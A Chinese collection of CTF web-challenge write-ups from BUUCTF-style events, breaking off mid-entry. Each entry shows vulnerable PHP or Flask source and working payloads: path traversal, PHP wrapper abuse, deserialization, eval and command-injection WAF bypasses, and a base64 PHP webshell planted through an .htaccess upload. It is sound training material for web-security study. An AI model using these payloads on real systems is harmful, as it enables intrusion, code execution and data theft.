代码审计

代码审计

[HCTF 2018]WarmUp

考点:

1、简单的代码审计

查看源码

在这里插入图片描述

访问source.php获得源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

其中hint.php

在这里插入图片描述

代码审计:

    if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
        && is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file']) //满足checkFile函数的条件
    ) {
        include $_REQUEST['file']; //包含$_REQUEST['file']文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

checkfile()函数

mb_substr

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
参数 描述
str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始负数 - 在从字符串结尾的指定位置开始0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回负数 - 从字符串末端返回
encoding 可选。字符编码。如果省略,则使用内部字符编码。

mb_strpos

查找字符串在别一字符串中首次出现的位置

eg.

<?php
$str = 'http://www.feixiang.com';
echo mb_strpos($str,'xiang');

//输出14
class emmm  
{
    public static function checkFile(&$page) //将传入的参数赋值给$page
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明一个白名单数组
        if (! isset($page) || !is_string($page)) { //$page变量不存在或非字符串
            echo "you can't see it";
            return false;
        }
 
        if (in_array($page, $whitelist)) { //$page变量存在于$whitelist数组中
            return true;
        }
 
        $_page = mb_substr( //截取$page中'?'前部分,若无则截取整个$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

所以,我们可以将?进行两次url编码,在服务器端提取参数时解码一次,checkFile函数中再解码一次,仍会得到?,即可通过checkfile函数检查

payload

http://xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

在这里插入图片描述

[BJDCTF2020]Mark loves cat

考点:

1、.git泄露

2、变量覆盖

启动题目

dirsearch扫描目录,发现.git泄露,利用GitHack下载下来,得到两个文件flag.phpindex.php

flag.php:

<?php
$flag = file_get_contents('/flag');
?>

index.php:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

两个foreach循环实现对我们提交的参数进行变量覆盖

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

利用第二个if语句,进行变量覆盖,使得$yds=$flag即可输出$flag

在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag

所以使用get传参使得yds=flag即可

payload

http://10f7c585-bbeb-4d37-bcf0-573c331842a2.node4.buuoj.cn:81/?yds=flag

之后再网页源码处即可获得flag

在这里插入图片描述

[HCTF 2018]admin

考点:

1、

启动题目,随便注册一个账号登陆进去,登陆成功后,查看源码

在这里插入图片描述

意思是要以admin的身份登陆才行吗,退回到注册界面,注册admin账户

在这里插入图片描述

在这里插入图片描述

admin账户已经存在

当我们尝试登陆时

在这里插入图片描述

方法一:

因为admin账户是正确的,而登录也没有验证码要求,所以我们可以使用字典将password爆破出来

在这里插入图片描述

密码为123,登陆进去之后即可获得flag

在这里插入图片描述

方法二:Flask session伪造

在change页面里发现提示

原理:

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

可参考文章

套用网上解密脚本

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding the payload')
    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解出

{'_fresh': True, '_id':b'6a91996d853b42c99629872c80464112e8e34b543018fe86067d435c184f1
8a62bef4554b42d24eebc61721b49d11ea18d9ed41d0989360a893824ca874ef1a8', 'csrf_token': b'feb0d89361f5c5a0d846e4f6f5702e505ab69ed8', 'name': 'admim', 'user_id': '13'}

还需知道secret_key,一般是在config.py里,找到

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

flask-unsign加密覆盖原来的session就可以拿到flag了

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

直接给源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一层

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

需要存在$text且需要传入一个text文件,内容为welcome to the zjctf

可利用php://input进行绕过

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
?text=php://input

Post data=welcome to the zjctf

也可以利用data://text/plain协议绕过

?text=data://text/plain,welcome to the zjctf

第二层

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

过滤了flag字段,包含了一个useless.php,可利用php://filter协议来读取

file=php://filter/read=convert.base64-encode/resource=useless.php

结合上面第一层过滤

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述

得到一串base64加密后的东西

解码后

第三层

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

进行简单的序列化,借助

$password = unserialize($password);
echo $password;

即可获得flag

<?php  

class Flag{  //flag.php  
    public $file = "flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a=new Flag();
echo serialize($a);
?>  

最终payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在源码里即可获得flag

在这里插入图片描述

[MRCTF2020]Ez_bypass

代码审计

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }
 
        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

MD5强碰撞

 if (md5($id) === md5($gg) && $id !== $gg)

md5()函数无法处理数组,如果传入是数组,那么返回的就是false

所以我们可以令$id$gg都为数组

?id[]=1&gg[]=2

在这里插入图片描述

接着一个弱类型比较就完了

if (!is_numeric($passwd))
            {
                 if($passwd==1234567)

payload

Post data:passwd=1234567a

在这里插入图片描述

[RoarCTF 2019]Easy Calc

考点:

1、利用php字符串解析特性绕过WAF
2、利用ASCII值绕过WAF

查看源码

在这里插入图片描述

发现做了WAF且同时发现一个calc.php,访问calc.php

得到如下源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

发现num是只能输入数字,而不能输入字母的

利用PHP字符串解析特性绕过WAF

PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

所以我们可以在num前加个空格:这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,同时还上传了非法字符。

所以只需要在?后面再加一个空格即可完美绕过waf,再利用scandir读文件,但是这里由于这里过滤了"/",所以使用ASCII值绕过

payload

查目录

http://node4.buuoj.cn:29609/calc.php?%20num=var_dump(scandir(chr(47)))

在这里插入图片描述

发现f1agg

http://node4.buuoj.cn:29609/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述

[DDCTF 2019]homebrew event loop

启动题目

image-20220311085348202

最上面就是说现在有多少钻石,多少积分
GO-to e-shop,就可以使用一个积分买一个钻石

image-20220311085526844

Reset是重置

给了源码

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

简单审计

第一段

def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')

如果session[‘num_items’] >= 5的话,就会调用trigger_event函数

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

这个函数是将要执行的函数和参数,依次放入并执行request的队列中就是,是往session里写日志,会记录下各个函数的调用

这里会将flag放入session['log']中,解密session就可以获得flag

看看num_items在哪里可以控制

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])

用buy_handler(1)这样的形式购买,num_item就会+1,接着会把func:consume_point;num_items传入队列执行
执行的是consume_point_function(num_items),0但是只有3个point,买不了5个num_items怎么办呢

那我就要在num_items被减掉之前执行get_flag_handler()不就行了

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume

如果session['points']小于我们想要购买的数量,他就会减掉,比如我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去

再看

def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')

这里有一个可控eval函数,利用eval函数可以导致任意命令执行,所以如果让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后

payload

?action:trigger_event%23;action:buy;5%23action:get_flag;

image-20220311141543649

抓包得到session

网上找的解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

接出来就是flag

[SUCTF 2019]EasyWeb

给了源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

简单审计

首先进行了长度限制和正则匹配限制,且过滤了取反,所以这里只能采取异或

参考p神一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

payload

?.=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag

继续审

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

会打印出路径,过滤了ph后缀,文件里不能有<?,而且必须是图片文件

只能通过传.htaccess文件

但是怎么让.htaccess文件被判断成图片呢?

尝试了下GIF89a,结果发现不行

方法一

定义长宽

#define width 1337
#define height 1337

方法二

在.htaccess前添加x00x00x8ax39x8ax39(必须要在十六进制编辑器中添加)
因为.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

但是还要注意<?被过滤了,因为这题的PHP版本是7.3.4,<script language="php"></script>这种写法在PHP7以后就不支持了,所以这个耶用不了

新姿势

利用php伪协议绕过,利用auto_append_file,将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

#define width 1337
#define height 1337 
AddType application/x-httpd-php .shell
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_d41895248531041badacfc22febe3acg/123.shell

但这里还要注意,123.shell也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码

GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+

上传之后可利用蚁剑的插件直接提权执行命令打开flag

[TQLCTF] Simple PHP

注册登录后,抓包发现存在任意文件读取

在这里插入图片描述

读取index.php

在这里插入图片描述

index.php

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>

简单审计

1.将传进来的密码MD5加密一下,同时在前面加上zsf

2.判断注册时是否传入punctuation,如果没有,就转入最后的那个else,然后跳转到指定的页面,如果传入了,那么就会经过一系列的判断,只有所有条件都满足,才能成功注册

3.通过注册后,会读取template.html并赋值给$content之后用传进来的东西用去替换掉,然后写到一个新的文件,文件名是$hash_user。

template.html

<?php
			error_reporting(0);
			$user = ((string)__USER__);
			$pass = ((string)__PASS__);
			
			if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
				echo($_COOKIE['user']);
			}
			else{
				die("<script>alert('Permission denied!');</script>");
			}
		?>

这里的__USER__和__PASS__都可以控制,即把__PASS__这里的代码,换shell即可getshell

看下之前的正则

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user'])
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) 
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);

密码会被hash加密,所以排除了,而User这里只能传入六个字符,太短了,排除了。

而website限制25个字符是可以写shell的,但是正则那里做了一些限制

最后punctuation会将字母数字全替换为空,但是可用异或或者取反绕过,但是这里’>’和‘?’会被替换,就没有php标签了

在看源码

image-20220222153155978

__PUNC__的位置在__USER__后面,所以可以用多行注释将中间的代码注释掉,在__PUNC__的地方写注释结束符,再写shell,就自动闭合了,所以再user处我们传的内容就是123)/*,__PUNC__处的内容*/;shell;/*

最后参照p神的https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html无数字字母RCE构造即可,根目录下拿到flag

user=123)/*&pass=123456&website=1&punctuation=*/;$_=('%01'^'`').('%13'^'`'). ('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`'). ('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*

Login

一个登录界面

image-20220325180041774

给了提示

image-20220325180159852

登陆后来到下一个页面

image-20220325180147924

burp抓包发现一个show

image-20220325180743165

在请求包里加一个头

image-20220325180841357

获得源码

image-20220325180854375

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

简单审计

主要是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));只要满足if($login['user'] === 'ichunqiu')就返回flag

POC

<?php
$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>

结果为

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

cookie里添加一个token即可

image-20220325181151169

WEB_ezeval

启动题目,给了源码

<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);

?>

简单审计

post参数cmd,且最后利用eval函数进行rce,过滤了很多关键字

htmlspecialchars() :把预定义的字符转换为 HTML 实体。

str_ireplace():不区分大小小的替换

简单的思路,绕过黑名单构造即可

法一

利用字符串拼接绕过

payload

cmd=(s.y.s.t.e.m)('cat /flag');

image-20220316194715948

法二

利用进制编码绕过

payload

cmd=hex2bin('73797374656d')('cat /flag');

SCTF 2018_Simple PHP Web

一个登录框

image-20220316195349900

额。。。不是注入,而是php伪协议读取

flag在根目录下

payload

?f=php://filter/convert.base64-encode/resource=/flag

解密获得flag

image-20220316195545457

端午就该吃粽子

login.php

image-20220316195838414

php伪协议读源码

login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php

获得源码

<?php
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no no no!')
      window.location.href='index.php';</script>");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no flag!')
      window.location.href='index.php';</script>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo $a;
}
?>

简单审计

传入url参数

过滤了cat,空格,flag等关键字

用ca\t代替cat,$IFS代替空格,/????代替flag

payload

index.php?url=baidu.com|c\a\t${IFS}/????

image-20220316201709542

baby php(*)

给了源码

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

很简单的一个变量覆盖

payload

?123=flag&flag=123

image-20220318154925238

web2

启动题目,给了源码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

简单审计

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);  //将字符串进行反转
    // echo $_o;
        
